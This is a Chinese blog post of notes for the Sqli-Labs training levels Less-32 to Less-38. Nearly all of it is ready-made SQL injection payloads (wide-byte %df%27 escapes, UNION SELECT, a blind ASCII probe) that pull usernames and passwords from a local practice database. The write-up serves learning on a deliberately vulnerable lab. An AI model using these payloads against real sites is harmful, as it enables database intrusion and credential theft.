Sqli-Labs做题笔记:Less-32 - Less-38

原创已于 2022-01-25 16:38:52 修改 · 1k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#less #sql #mysql

于 2022-01-25 16:01:32 首次发布

笔记专栏收录该内容

45 篇文章

订阅专栏

本文提供了宽字节注入攻击的具体实例，展示了如何利用特殊字符绕过应用程序的安全检查，从而获取数据库中的用户名和密码等敏感信息。

宽字节注入：

Less-32:

http://localhost/sqlilabs/Less-32/?id=-1%df%27%20union%20select%201,(select%0Agroup_concat(username)%0Afrom%0Asecurity.users),(select%0Agroup_concat(password)%0Afrom%0Asecurity.users);%00

Less-33:

http://localhost/sqlilabs/Less-33/?id=-1%df%27union%20select%201,(select%0Agroup_concat(username)%0Afrom%0Asecurity.users),(select%0Agroup_concat(password)%0Afrom%0Asecurity.users)%20--+

Less-34:

uname=-1%df%27 union select (select%0Agroup_concat(username)%0Afrom%0Asecurity.users),(select%0Agroup_concat(password)%0Afrom%0Asecurity.users) #&passwd=a&submit=Submit

Less-35:

http://localhost/sqlilabs/Less-35/?id=0 ||(select(ascii(mid((concat((select(group_concat(username))from(users))))from(7)for(1)))=§110§))--+

http://localhost/sqlilabs/Less-35/?id=0%20union%20select%201,(select%0Agroup_concat(username)%0Afrom%0Asecurity.users),(select%0Agroup_concat(password)%0Afrom%0Asecurity.users)%20#

Less-36:

http://localhost/sqlilabs/Less-36/?id=0%df%27%20union%20select%201,(select%20group_concat(username)%20from%20security.users),(select%20group_concat(password)%20from%20security.users)--+

Less-37:

uname=1%df' union select (select%20group_concat(username)%20from%20security.users),(select%20group_concat(password)%20from%20security.users) #&passwd=aa&submit=Submit

Less-38:

http://localhost/sqlilabs/Less-38/?id=0%df%27%20union%20select%201,(select%20group_concat(username)%20from%20security.users),(select%20group_concat(password)%20from%20security.users)--+